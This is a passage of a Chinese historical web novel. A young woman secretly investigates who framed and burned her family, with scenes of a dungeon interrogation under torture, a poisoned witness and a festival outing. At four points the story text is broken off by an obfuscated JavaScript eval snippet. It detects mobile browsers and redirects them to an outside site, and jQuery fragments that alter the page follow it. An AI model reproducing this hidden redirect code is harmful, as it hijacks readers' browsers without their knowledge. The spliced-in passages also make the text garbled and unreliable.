每回看向江瑜,她都会露出个笑脸,有时冲他招招手,有时就这么遥遥相望着。只要目之所及的地方有江涣之,江瑜好像就能安心,她就什么都不怕。 宫宴顺利结束,江涣之骑着马走在最前面,后面是江瑜和江夫人乘坐的马车,再后面跟着的是皇上赏赐给江瑜的千匹布帛。 江涣之牵着缰绳,有意将马骑得很慢,走着走着就变成了与马车齐平。江瑜掀开帘子,探出头跟他说话:“你喝了酒怎么还骑马?” “这点酒,不碍事的。”江涣之酒量好,此时再被夜风一吹那点酒气早就没了,他问:“你吃饱了没有,回府后要不要再让小厨房做点夜宵?” “不用了。”江瑜轻轻摇头。 回到江府,江夫人带着张伯去库房清点布帛,江瑜跟在江涣之身后走进他的院子。 江涣之其实有很多话想对江瑜说,但当真正只有他们两个人的时候他反倒不知从何说起了。反倒是江瑜主动开口道:“我一切都好,没有人为难我,我也不觉得有什么不自在。不过我不太喜欢皇上。” 江涣之听得好笑,心道皇上九五至尊,也不需要别人喜欢。不过他还是问:“那他是哪里让你不喜欢了?” “陛下明明早就知道我随你一道回京,也说了要赏我。在宫宴上却当着众人的面故意问你是不是寻回来了一个妹妹,揣着明白装糊涂,好虚伪。” 江瑜说得振振有词,江涣之也不怪她说话大胆,只轻笑道:“总要起个话头,才好召你出来。” 江瑜又道:“还有,他怎么就那么喜欢给人指婚,以为全天下的女子都奔着嫁人去的?我都差点被赐婚两次了。” 江涣之这次是真的笑出声了。遥夜沉沉,江涣之念及江瑜怕火,因此并未点燃烛灯,月亮的清辉照在他脸上,半明半暗,亮的一侧皎皎生辉,暗的一边由天然的光影线条勾勒出精致轮廓。 江瑜不知怎地心跳就有些快,她再开口时差点咬到舌头,“一天不练武心里就难受,那我回瑜园练武去了。哥哥你喝了酒也早些睡吧,” 不等江涣之回话,江瑜转身回了瑜园。不知为什么,一面对江涣之她的轻功就如有神助般会突然长进一大截,她跑着跑着仿佛感受到月光生出了丝丝银线,轻飘飘地吊着她,让她能轻而易举地飞身跃出,一个箭步就跃到了小楼的房顶上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625630|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 小楼的阶梯都快成摆设了,江瑜托着下巴想。没过一会儿,身旁一道黑影闪现,玉影躬身道:“小姐,蒋义如回信了。” “他亲自来送信的?” “是,”玉影回:“他为人谨慎,不敢走前门,只将信挂在了瑜园门口的狮子门环里。属下这就去将信取……” “不必,我自己去。”江瑜说完便飞身落了地。瑜园有一个单独的门房连接到外面,平时都落了锁。 她轻手轻脚地解锁,打开门,走到外边的街巷,往狮子门环里摸索一阵,找到了用火漆封好的信。江瑜刚把信收进怀里,身后响起一道男人的声音:“裴瑜。” 江瑜没有回头:“你不该叫我这个名字。” 她抬手将门环整理好,预留好一个空洞,方便日后蒋义如再来送信。不过……江瑜想,既然蒋义如还没走,那么有些事当面说总比传信更清楚明了。 “你……”江瑜正要开口,可刚转过身她就怔住了。面前站着的人根本不是蒋义如,而是赵承昱,他像是刚刚确认了某件事,脸上惊骇不已。 江瑜不自觉地后退了一步,后背抵着门,防备地看着他。 最初的惊诧一过,赵承昱哑声道:“原来你真的是她。” “我不是。”江瑜脱口而出。她的眼中全是戒备,全然没有了往日的情谊,她眉间蹙了蹙,“你一直跟着我?” “没有,我就是回去以后怎么也睡不着,便想着出来走走,不知不觉走到了这里……”赵承昱一整个晚上都心乱如麻,他的确是无心走到这里的,本想冷静冷静,理清思绪,可他也没料到江瑜会突然出现,他情之所至,不禁走上前唤了一声,没想到她会直接承认自己就是裴瑜……赵承昱问:“你方才把我当成了谁?” 他一时间又惊又喜,话问出口了才觉出冒犯,于是又连忙解释道:“我没有别的意思,更不会将你的身世告知任何人。只是能再见到你,我真的特别高兴。” 江瑜盯着他,一言不发,手却悄悄伸向了腕间的袖剑,心里想着要是这人再敢往前一步她就用剑刺进他的脖子。 在赵承昱看来,江瑜对他的抵触和抗拒可谓不加掩饰。对他而言这是一场久别重逢,可一想到江瑜经历的那些事,他在她心里只怕早已是个趋炎附势的负心汉了。 “退婚一事不是我的主意,我当时大病一场,我爹自作主张去宫里请旨。我后来虽恨他,却也无力回天,毕竟……我没想到你还活着!” 江瑜心中冷笑,谁又不是大病一场了?刚被江涣之救出来的那些日子里,她无数次恨不得追随家人而去,一遍遍地质问天命为何要留她一人独活,莫非只是为了将她日夜放在火上炙烤,求生不得,求死也不能? 是江涣之把她拉出了深渊,复仇的希冀盖过了无边黑暗。他口中的那个裴瑜早就已经死了! 江瑜这时候反而平静了下来,她淡然道:“你认错人了。我不认识你,也不知道你说的退婚是什么意思。你还是赶紧走吧,以后也不要再来找我。” 说完,江瑜打开身后的门闪身进去,将怔然无措的赵承昱独自留在了外面。 8. 第 8 章 江瑜急急赶回瑜园,玉影见她面色不对,上前道:“那蒋义如胆大包天,冒犯小姐了?” 话问出口,玉影又觉得不对。蒋义如不过一介书生,江瑜已经会武,再加上身份悬殊,料想蒋义如就是借了十个胆子也不敢造次。 “没有。”江瑜坐在桌前,拿出怀里的信,忽然顿了顿,问道:“哥哥和夫人都睡下了?” “睡下一阵了。怎么,小姐还有事找大少爷?” “没什么,”江瑜道:“你先下去吧。” 借着月光,江瑜读完了蒋义如的信。和她之前预想的一样,她爹对蒋义如有知遇之恩,蒋义如亦对其崇敬有加,在得知裴家的死有蹊跷之后,心里必然震荡。投靠江瑜也就是一个必然的选择了。 江瑜拿出纸笔,写了封回信,让他去调查两年前的裴家失火一事,最好能找出当年的卷宗和经手人。另外,她还往里面装了些银两,让他另外置办一处宅子,免得人多眼杂,不便于办事。最好再去收个机灵些的小厮,以后递信这种事就不必亲自过来了。 做完这些,江瑜把信交给了玉影,这才洗漱上了床,结束这兵荒马乱的一天。 第二天,江瑜起床的时候江涣之已经进宫上朝了,她没寻着机会与他说话。秦渊见她思绪杂乱,还罚她多练了几组修身养性的功法。 刚过晌午,前院传来一阵喧哗声,江瑜叫来玉影,问是不是哥哥回来了。 玉影道:“是陆山回来了,他还押回来一个人,说是从南疆抓回来的商人。” 江瑜眉心一跳,商人,那不就是当年在裴家出事以后跳出来举报她爹收受贿赂的富商么?江瑜赶紧往前院走,刚走到书房就碰见了匆匆赶回来的江涣之,他扶着江瑜道:“当心些。” 很快,江瑜就明白了江涣之为何让她当心。她到了江府这么久,竟还是第一次得知府中设有地牢,昏暗潮湿的地下,一股浓重的血腥味扑面而来。地底还淌着水,寒气逼人,江瑜就是在这里看见了那个浑身是伤的男人。 江涣之对这样的人绝不手下留情,他在路上就吃了不少苦头,一到地牢更是大刑伺候。一瓢冷水泼去,江涣之的声音犹如一道催命符:“我再问你一遍,当年是谁指使你站出来指认裴大人?” 牢中的人早已没了人样,他拼命摇着头,带着哭腔的嗓音含糊道:“大人饶命!是梅公子叫我这样做的……小的只是听命行事。可小的也没见过那梅公子真容……” 梅公子?江瑜思忖片刻,京中没有什么氏族或臣子姓梅的。 江涣之冷笑道:“他叫你这样做,你便这样做了?我倒是不知道世间竟有人这般好说话。快说,梅公子究竟是谁?” 牢中之人抖得愈发厉害,他匍匐在地上,颤声道:“小的是当真不知啊!每次都是梅公子派中间人联络,我只管拿好处,中间人也都以兜帽遮脸……那梅公子更是从未现身过!” 此人并非什么刚毅不屈的义士,只要用刑,不怕他不招。江涣之朝陆山使了个眼色,很快就有烙铁被放在火里的滋滋声。 江涣之不想让江瑜看到接下来发生的一幕,带着她转身走了出去。 一出地牢,江瑜问:“他的父母妻儿呢?就算不要自己的命,那也总得顾及亲人吧。” “在南疆。”江涣之派出的人一路追杀,他早就在逃亡中妻离子散了。 江瑜想到那个神秘的梅公子,轻叹一声,苦笑道:“真没想到,一个小小的裴家,竟值得让人如此费尽心力地早早做局。” 江涣之跟在她身后,一脸的若有所思。 江瑜问:“既然他已承认了是受人指使,那么是不是该交给刑部,或是大理寺审?” 江涣之摇了摇头,“他只是其中很小的一环,供词不足以翻案,甚至让圣上下令重启调查都不够。关键是他根本不知道指使他的人究竟是谁。” “那你打算怎么办?” “我打算再将他关几天,然后把人放了。” “放了?”江瑜还以为自己听错了,“谋害我爹的间接凶手,怎么能就这么放了?” “当然不是就这么放了。”江涣之道:“此人已是一枚弃子,留着也无用。可若是将他放了,再派人跟上,说不定能钓出他身后的大鱼。” 江瑜看向地牢的方向,瞬间了然道:“他吃了那么多的苦,总不能白白咽下。冤有头债有主,他如今孤家寡人一个,就是刨地三尺也要与那头接上线,或是表功,或是……讹钱?他如今一穷二白,可不是什么富商了!” 江涣之颔首道:“他自认没有说出任何有用的信息,那就是有功之人,可不得讹笔钱借此恩怨两讫?只要这人还在我的控制之下,那就不算完全无用。” 江瑜听完也觉得有道理,用一个已经撬不出什么话的废子勾出身后的始作俑者,很划算。就算钓不出大鱼,那他们也没什么损失。 天气渐渐热起来了,江涣之行至凉亭,抓了一把鱼食丢进湖中,鱼儿汇集一处,全都挤挤挨挨地张着嘴。江瑜无声看着这一幕,忽地听江涣之又道:“不论牵扯出来的那个人是谁,是不是梅公子,都一定不会是个简单人物。我的动作对方可能很快会察觉,你近些日子尽量不要单独出门。” 江瑜应了一声,问道:“那个人是谁,你心里是不是已经有了怀疑?” 江涣之默了一会儿,“原本有几个人选,但都一一否定了。” 说到这里,他索性坐了下来,又抛下了些鱼食下去,“我最开始的想法是这样,谁能从裴家倒台一事中获利最大,谁就最有可能是凶手。你认为谁获利了?” 江瑜思索半晌,“没有人获利,至少明面上是这样。” “这就是症结所在了。”江涣之道:“那就可能出于另一个缘由,为了掩盖罪行。会不会是你爹掌握了某项证据,足以将某人致死?那人为了自保而出手?” 江瑜也朝这个方向想过,放火的举动本身就包含了毁灭证据的意思。人这一世汲汲营营,趋利避害是本能,趋利不成,那么很有可能就是为避害。可她想了许久,依旧没有头绪。 “我想过朝中可能与我爹有过节的人。”江瑜无奈地道:“有倒是有,但太多了。” 裴中丞就职于都察院,公务本身就包括了监察和弹劾百官,若说挡了谁的路,或查出了什么对谁不利的事,那范围实在太广。若人人都有嫌疑,那就等于人人都没有嫌疑。 思及此,江瑜认为不如另辟蹊径。她虽然从不认为父亲参与过任何党派,但既然他在信中有过这样的怀疑,先不论真假,调查与他关系相近的人总比要广撒网来得好。 “与我爹生前走得近的似乎只有赵太傅。我在想,会不会与他有关?” 江瑜对赵太傅有一些了解,知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625631|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为人古板,性情也耿直,可知人知面不知心,谁知道他心里怎么想的?从他急于退婚的行径来看,他对这个突遭变故的昔日好友毫无怀念,反倒是急于撇清关系,就算他不是主谋,那会不会在其中扮演了关键角色? 可她没想到江涣之当即否定了这个怀疑,“赵家很清白,我早就查过了。” “你查出了什么?” 江涣之有一瞬的迟疑,却还是道:“赵太傅也在调查裴家失火一事。” “什么?”这个答案大大出乎了江瑜的意料,赵太傅既然在查,这就说明他不仅没参与,更对此事全然不知情。江涣之言辞凿凿,定是有了万分确切的证据才会如此肯定。 “好了,不要想那么多,容易忧思过度。”江涣之道:“背后的大鱼若是真钓出来了,我再告诉你。眼下只能先静观其变。” …… 盛夏已至,江瑜耐不住这酷暑,江涣之每日让人往她房里送去许多冰块,她整个人也有些恹恹的,在瑜园里猫了一个多月,每日不是练武就是读书。 秦渊起初让她用弓箭射靶子,后来她能百发百中了,便让她射活物。江瑜在后山从一个树梢飞到另一处枝杈,见着猎物就取出后背的箭矢,挽弓搭箭,一个多月下来后山的兔子几近绝灭。 晚上要是再睡不着,江瑜就提着一壶酒到爹娘和弟弟的墓前,坐着与他们说说话,再像模像样地舞一套剑法,若他们泉下有知,也定能为她的进步感到欣慰。 几场轰隆隆的大雨一下,京城倏然凉了下来。江瑜常坐在檐下看雨,或是举着万花镜,将这混沌天地分成一个个小块。有时看着看着,朦胧烟雨里就会出现江涣之的颀长身影,他常来看她,哪怕下着大雨也不例外。 这天夜里,又是一场瓢泼大雨。一个头戴斗笠,身披蓑衣的老翁深夜造访江府。他独自走进书房,江涣之正坐在长桌前品茶,察觉到有人进来,他头也不回地道:“坐。” 老翁取下蓑衣斗笠,露出一张苍老却肃穆的脸。他并未穿官袍,可要是有朝堂中人在场,定能认出这就是当朝宰臣之首,位列三公的中书令——林方叙。 表面上,他与这位年轻气盛的大将军关系生疏,有时在朝堂上还会互相呛声几句。可私下里,林方叙熟稔地接过江涣之递来的茶,放在鼻端嗅了嗅,道了一声:“好茶。” 江涣之眉目深锁,不知在想什么。林方叙也不与他兜圈子,热茶下肚暖了暖身子,便开门见山道:“陛下想把你留在京城,可有人想让你走。” 江涣之对此并不意外,他反问道:“林大人也想让我走?” 林方叙叹息道:“他们想让你走自是出于私欲,可老夫是见不得你趟这浑水。你还是回你的云中郡去罢。” 江涣之为人一向谨慎,亦是个听劝之人。但他此刻忽地将手中茶盏往桌上一搁,执拗地道:“我还有事情没办完,在此之前我决不卸甲。” “你……”林方叙瞪着江涣之,发白的胡须也跟着抖了三抖,“朝中势力盘根错节,你一介武将拿什么与他们斗?” “我这不是还有林大人您么。”江涣之轻笑道,转眼间又变成那副不知天高地厚的混不吝模样了。 林方叙“你”了半天,最终什么话也没说出口,趁着雨夜拂袖而去。 江涣之依旧坐在廊下,茶水的淡雅香气盈满室内,雨声整夜未停。 9. 第 9 章 翌日清晨,骤雨初歇,江瑜早早起床走到院子里练武。她心里正惦记着蒋义如怎么还没消息,玉影忽然急匆匆地走了过来,附在她耳边道:“小姐,富商那边出事了,大少爷正要带人赶过去。” 江瑜放下手中弓箭,一边往外走,一边问道:“出什么事了?” “属下不知。” 江瑜不再追问,她刚走出江府就看见正骑着马要走的江涣之。“哥哥,我跟你一起去。”江瑜牵了一匹马过来。 江涣之本想拒绝,可一想到已经将她留在府中许多时日,再不出门恐怕要憋得难受了。再者有他带着,总不至于出事,于是对言午道:“你在后面跟着二小姐。” 一路骑马疾行至近郊的一处宅子,江涣之下了马,边走边问:“死因是什么?” 跟在后面的江瑜周身一震,那富商死了?好不容易抓回来的人竟然就这么死了? 陆山回道:“半夜突然毒发身亡,死状惨烈。”说罢,他抬手掀开了门帘。 还没来得及看清屋内什么状况,一只温热的手掌覆在江瑜的眼睛上,挡住了她的视线。江涣之轻柔的声音传来:“你别看。” 忽听扑通一声,陆山跪下了,他主动请罪道:“属下办事不力,不知他是在何时、又被何人下了毒。等到白日许久没有动静,属下进去一看才发现人已经七窍流血而亡。” 江涣之很久都没说话,陆山也就一直跪着。末了,他叫人放下门帘,挡住江瑜眼睛的手也抽走了。他走到院外问:“他最后去了哪里,见了谁?” 陆山几不可见地觑了江瑜一眼,有些不自在地回道:“去了青楼,与一个叫琴心的女子过了一夜。” 江瑜回想起那富商之前在地牢的惨状,不可置信地问:“他不是受伤了吗,怎么还……他还能干那事?” 陆山的头埋得更低了,江涣之难得有面上挂不住的时候,他轻咳一声,对陆山道:“那还不快把那琴心带过来?” 陆山得了令,猛然意识到自家主子不罚他了,于是跑得飞快。可人刚奔出几步,又想起一事,折返回来问道:“屋子里的尸首该如何处理?” “自然是找仵作来验尸,还不快去!” 陆山一走,江瑜亦步亦趋地跟在江涣之身后,问题比学堂里的书生还多:“他除了去青楼,就没去过别的地方了?可青楼不是很贵么,他哪里来的钱?琴心会不会是他的老相好,不收他钱?那他们到底是在叙旧还是在做买卖?” 江涣之忽然停下,江瑜反应不及,一头撞在了他的背上。 眼看江涣之站着不动了,她又去牵他的手,问道:“那我们现在是回府?你要在哪里审琴心?” 江涣之颇觉头疼。富商的暴毙已经让他猝不及防,可他忽然意识到另一个更重要的问题,他似乎在某些方面对江瑜疏于管教了。 他过去一直把江瑜看作小孩,可不知不觉间她已经长大了。若是裴家没出事,与赵家的婚事也还在,那么再过一两年她就该出嫁了。 或许因着近些日子习武的关系,江瑜的身量也长高不少,都快到他下巴了。 江涣之略微蹲下身,视线与江瑜平齐,语气肃然:“我问你,那些事,是谁告诉你的?” “什么事?”江瑜一脸不解。 “就是青楼里的那些……你怎么知道进去以后要做什么?” 江涣之神情凝重,仿佛知道了谁告诉她这些他就要将那人抽筋扒皮了似的。江瑜其实以前在别院偷偷听厨房里的粗使婆子们说过,可她不想把那些人供出来,只好说:“在书里看的。” 江瑜自小就爱读书,幼时看的是《女诫》、《女训》,后来裴家出事,她就常看一些史书了,江涣之也不怎么管她。如今想来,书里那些关于历史名人的风流轶事也不少。 归根究底,这事不能怪她,只能怪他自己疏忽了。 “总之以后你记住,那些事不能当着别人的面说,尤其是还有男人在场的时候。” 江瑜看上去似懂非懂,张了张嘴,像是想反驳什么,但最后只是答:“知道了。” 江涣之又道:“还有,你以后也不能像这样牵我的手了。” 江瑜惊疑不定地看着江涣之,“哥哥也算别的男人?” “当然算了,以前是你小,可以后不一样了,你已经长大了。”这样的对话对江涣之而言同样艰难。他不知道该怎么说,既不想让江瑜对他心生芥蒂,可又不得不教会她一些事,这简直让他绞尽脑汁。 江瑜想起类似的话她前段时间也听江夫人说过,那时她刚来癸水,江夫人拿过来好多月事帕,对她道:“你比一般女子来得要晚些,兴许是之前常泡凉水的缘故。可不管怎么样,你已经长大了,是一个真正的女人了。” 江瑜并不很明白女人和女孩有什么不同,除了每个月要流几天血很麻烦之外,她不觉得自己身上有什么惊天动地的变化。 她又想起江涣之把她从火场救出来的那天,他紧紧抱着她,她也趴在他身上大哭。后来他把她养在了别院,每次上马车,太高了她上不去,也都是江涣之把她抱上去的。 想起那些事,江瑜很迟钝地升起一股羞怯之意。她小声地问:“那你以后是不是也不能抱我了?” “这……”江涣之只觉这些问题一个比一个刁钻,他道:“自然也是不能了。” 眼看江瑜明显失落了下去,江涣之不忍心地补充道:“等你再长大一点就知道了。你可能会有喜欢的人,说不定还会想嫁给他。你到时候嫌弃我都还来不及。” 江瑜想象不出来这一天,她追问道:“那为什么哥哥不娶妻?你都已经及冠了。” “我不一样,我对这些不感兴趣。”江涣之说完,像是生怕江瑜再问一样,连忙打住道:“不许问了,再有什么问题回去问娘。” 一路打马回了江府,江涣之在审问琴心的时候自然没让江瑜进去,她也没去找江夫人,而是径自回了瑜园。 玉影见江瑜一回来就躺在床上,不怎么高兴的样子,于是去找别的暗卫探听了些消息,回来以后禀报道:“小姐,属下打听到了。那富商放出去之后哪也没去,先找了处没人的宅子养了半个月的伤,再后来就是流连青楼,除此之外没见什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625632|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么人。倒是与我们先前预想的不同。” 说完以后江瑜还是久久没有反应,就在玉影以为床上的人已经睡着时,江瑜的声音突然隔着帐幔响起了:“玉影,你说我哥哥和那个琴心两个人待在房里。她会不会勾引哥哥?” 玉影被吓了一跳,话都快不会说了。她颤声道:“应是不会的……料她也不敢。就算……那大少爷也不会受她蛊惑。” “是么,那哥哥以前有没有过别的女人?” 玉影做暗卫做了许多年,她斩钉截铁地道:“没有。” 一想到虽然以后不能牵哥哥的手了,但别的人也不能,江瑜心里就好受了些。她掀开床帐道:“玉影,我心里有点乱,你陪我出去练武。” …… 隔天一早,有人往江府送来了帖子,说是中秋将近,孟家小姐邀请江瑜去府里听戏,还要点灯祈福。 江瑜坐在桌边吃早餐,想了许久也没想起来这个孟昭宛是谁。 最后还是翠竹提醒道:“上回宫宴,那个说下次一起玩的小姐,长得有些英气,是孟大将军的长女。” “哦,”江瑜放下帖子:“不去。” 翠竹为难道:“那要对外称病?” “我跟她一点都不熟,不去不行吗。”江瑜更想把时间放在习武上。 翠竹拿着帖子没走多久,玉影悄无声息地进来了,低声对江瑜道:“小姐,蒋主事回信了。” 江瑜立即打起十二分的精神,接过信笺打开。蒋义如在信里主要说了两件事,一是他已经重新置办了一处清幽的宅子,附上了地址。二是调查当年裴家失火一事已经有了眉目,他不便将卷宗带出来,但已经亲自看过一遍,事情颇有些复杂,希望能与江瑜面谈。 看完信,江瑜能理解蒋义如的顾虑。他才入仕没多久,案子又是在他进去之前就已经盖棺定论的,若是留下什么蛛丝马迹,蒋义如那本就不坦荡的仕途也就彻底到头了。 可江涣之最近都不让她单独出门了。江瑜左思右想该找个什么理由出去,想着想着,她忽然站起身,对玉影道:“快把翠竹叫回来。” 翠竹一进门,江瑜便问:“给孟家回话了吗?” “还没……”翠竹以为要受罚了,没想到江瑜下一句便是:“太好了。你看,这里的‘点灯祈福’是不是要去外面?” 翠竹愣愣点头:“这是自然。” “那我要去,我这就去跟哥哥说。” 不一会儿,前院书房内。江涣之听明了江瑜的来意,确认道:“是在孟府听戏?” 江瑜:“是,好多人都会去。孟家专门请来的戏班子。” 既是在孟家,那闲杂人等便是进不去的。江涣之也希望江瑜能结交一些年纪相仿的手帕交,见江瑜满脸期待,他笑着道:“那就去吧,让言午给你驾车,多带几个人。” 江瑜兴奋地朝江涣之走去,在快要抱住他的时候蓦地想起了什么,于是硬生生止住步子,只说了声“谢谢哥哥”就走了。 回到瑜园,江瑜写了封回信,定了间稍近的酒楼,让蒋义如到时在那里的包间会面。 10. 第 10 章 赴宴这天,言午早早备好马车等在了瑜园里。 江瑜跟这个言午接触不多,只知道他是暗卫统领。再从她习武以来的经验来看,此人的武功深不可测。 坐上马车,没过多久便抵达孟府。府中张灯结彩,格外热闹,江瑜见到了许多上次在宫宴上见过的熟面孔。 孟昭宛亲自出来迎,她挽着江瑜的手道:“江妹妹,今日来的都是各家各府的小姐,你不必拘束,随意坐吧。” 江瑜找了个位置坐下,长案上摆了些瓜果点心和茶水,面前的湖水中央搭了个戏台,已经有戏班子的人上去杂耍热场子了。 几番寒暄过后,宾客都坐好了,戏台也正式拉开帷幕。戏班子演的是昆曲里的《长生殿》,唱到最后一折“重圆”时,江瑜看时候差不多了,悄然退了出去,来到孟府门口。 言午等在马车旁,见江瑜过来连忙起身行礼。江瑜看上去很是焦急:“你看见我耳坠子了没?” 言午往她耳朵上一瞟,耳垂上的确空空如也。可她出来的时候戴没戴,他也没仔细瞧,“回二小姐,没看见。是不是掉马车里了?” 言午旋即掀开车帘,可马车里也没有。江瑜更慌张了,“会不会是掉在路上了?那可是哥哥在云州给我买的,其它地方都买不到。你快回去在路上找找。” 言午不敢怠慢,急忙转身,开始在来时的路上寻找。言午一走,戏也差不多唱完了。孟昭宛让下人拿出提前准备好的灯笼,让小姐们各自挑一盏喜欢的,江瑜随手拿了一盏兔子灯,跟在最后面往府外的寺庙走。 走到大街上,热闹的景象超乎江瑜想象。道路两侧到处都挂着灯笼,城中亮如白昼,许多百姓也携家带口地出来赏灯,行人摩肩接踵。 江瑜走在最后,很快被人流冲散。各家小姐出门都是带了丫鬟侍卫的,因此暂时分开也不碍事,一会儿直接在寺庙门口碰面就是。 江瑜看准时机,一个闪身走进旁边酒楼,脚步匆匆行至二楼,打开一扇包间的门,蒋义如果然已经在里面等她了。 江瑜让玉影在门外候着,她走到蒋义如对面坐下,“我不能出来太久,你长话短说。” 蒋义如早有准备,他拿出纸笔,默写出罪状条令,对江瑜直截了当地道:“牵扯出来的罪名是贪污赈灾款项,不过念及裴大人当时已经死于意外,所以并未太过追究,结案以后就将卷宗封存起来了。” 江瑜接过他递来的纸张,蒋义如又道:“你还记得十年前范阳那场雪灾么?冻死的人不计其数,你爹当时就在范阳任县令。我当然不信你爹贪污了赈灾款,但罪名就是安在他头上了。” 当时江瑜还小,对那些事已经记不太清了,只记得儿时有一年雪下得特别大,她娘亲还拿出自己的首饰去换米粮,给无家可归的流民施粥。 江瑜有些愕然:“怎么会牵扯出那么多年前的事?” “我看到的时候也很意外。”蒋义如低声道:“那些陈年旧事本就是一笔糊涂账,查来查去都不一定作数。” “不,”江瑜蹙起眉,“既然要让人顶罪,那这个罪就一定是真的。” 说不定沿着这条罪状追查下去,能揪出那个真正的幕后主使。 除了那笔赈灾款,还有几项不知所踪的款项也都安在了裴中丞头上。像是为了显出他多罪大恶极似的,每笔数目都不多,却洋洋洒洒、排列工整地列了许多条出来。江瑜将那些名目一一记下,随后问蒋义如:“经手人都有谁?” “不过是两个小小的主事,他们也只是按照章程将现有证据编写成卷宗,没什么动手脚的余地。反倒是另一个人引起了我的注意。” 蒋义如再提起笔,写下了一个名字:梁行章。 “此人当时是刑部侍郎,去年却忽然升任尚书。而且就我查来的线索来看,你爹贪污的证据有许多都是他提供的。” 江瑜问:“他查出来的?” “不,或许不该叫提供,而是他在其中充当了一个引路人的角色。”蒋义如道:“我在与一个资历很深的同僚攀谈时,无意间得知了一桩巧合。当日梁行章在闲谈中提及户部会将所有支出全都记录在册,各地官府也是如此,刑部去户部和范阳一查,果然就查出了数目差额。当然了,就算梁行章不提,刑部也迟早会查到,但……我就是有种奇怪的感觉,太顺利了不是吗?明明白白地放在那里仿佛就等着人来查似的。” 梁行章是蒋义如的顶头上司,在没有确切证据的情况下江瑜不知蒋义如花了多大的勇气才肯将这些对她和盘托出。她将手里的纸递还给蒋义如:“等我走了以后,把它烧了。” 蒋义如点头应允,随即道:“我目前掌握到的就是这些了。” “那你暂时不必做什么了,免得引起怀疑。”江瑜急着走,她拿出提前准备好的钱袋,递给蒋义如,“这些你先拿着花。” 蒋义如连声推辞道:“万万不可,上次收了你的钱已是惭愧。我官职太低,帮不上二小姐太多忙。” 江瑜还是坚持,“蒋主事愿意帮我,我已是感激不尽。你母亲治病要花不少钱,你平日在刑部需要应酬和打点的地方也很多,光靠俸禄怎么够?总不能同僚家里有喜事请你去赴宴,你连礼金也出不起吧?” 蒋义如面上一晒,他平时的确有意避免这些交际,正是出于囊中羞涩。 江瑜把钱袋留在桌上,转身走出酒楼。街道依旧熙熙攘攘,她带着玉影一路使了些轻功,在快到寺庙的时候才装作从人群里挤出来的样子。 “江妹妹,你去哪了?我们都到了一会儿了。”孟昭宛走上前,关切地问。 “人太多了,我被挤得动弹不得,好不容易才走出来。”江瑜回道。 孟昭宛并未多想,将手里东西递过来道:“那我们先写愿望,给你笔墨。” 其他人都在认认真真地往纸条上写祈福的话语,江瑜立在一旁,心里想的却是蒋义如方才说的那些话。 如果当今刑部尚书,也就是梁行章真的在裴家出事后行陷害之实,那么他究竟是出于私怨还是受人指使?更重要的是,放火一事有他的参与吗,他究竟是落井下石还是蓄谋已久?他会是那个传说中的梅公子吗? 江瑜不自觉捏紧了手里的灯笼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625633|172342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她想,前两日突然暴毙的富商会不会与这个梁行章有关系?人一死,许多线索也都跟着断了。可是……江瑜心里猛地一颤,她忽然意识到自己忽略了很重要的一点。 寻常人在听说“逛青楼”这类的举动都会很自然地联想到是去寻欢作乐,尤其放在男人身上。江瑜一开始也是这么想的。可万一那富商去青楼根本就不是为了喝花酒呢?青楼里人多眼杂,是个绝佳的会面与传递消息的场所,那些女子的人际关系很复杂,场所又固定不变,作为中间人是再合适不过的。 也不知道江涣之审琴心审得怎么样了,不过江瑜总觉得那只是个幌子。就像蒋义如说的,太顺利就意味着有诈,会不会富商真正想见并且实际见到的其实另有其人?就算他没有刻意见谁,那下毒一事至少可以断定发生在青楼。 转瞬之间,江瑜就在心里做好了决断,她要扮成男子,亲自去青楼看看! 心中念头百转千回,江瑜并未注意到身边有人已经点燃了火折子。当那噩梦般的灼烧热气扑过来时,江瑜倏地一惊,浑身都僵住了。 拿着火折子的少女凑过来左看右看,问道:“你怎么一个字都没写?” 江瑜认出这人就是当日在宫宴上穿着鹅黄色襦裙的女孩,她缓缓往后退去,离她那火折子远了些,“我没有愿望。” “那你总得点灯笼吧。”火光又离江瑜近了些。 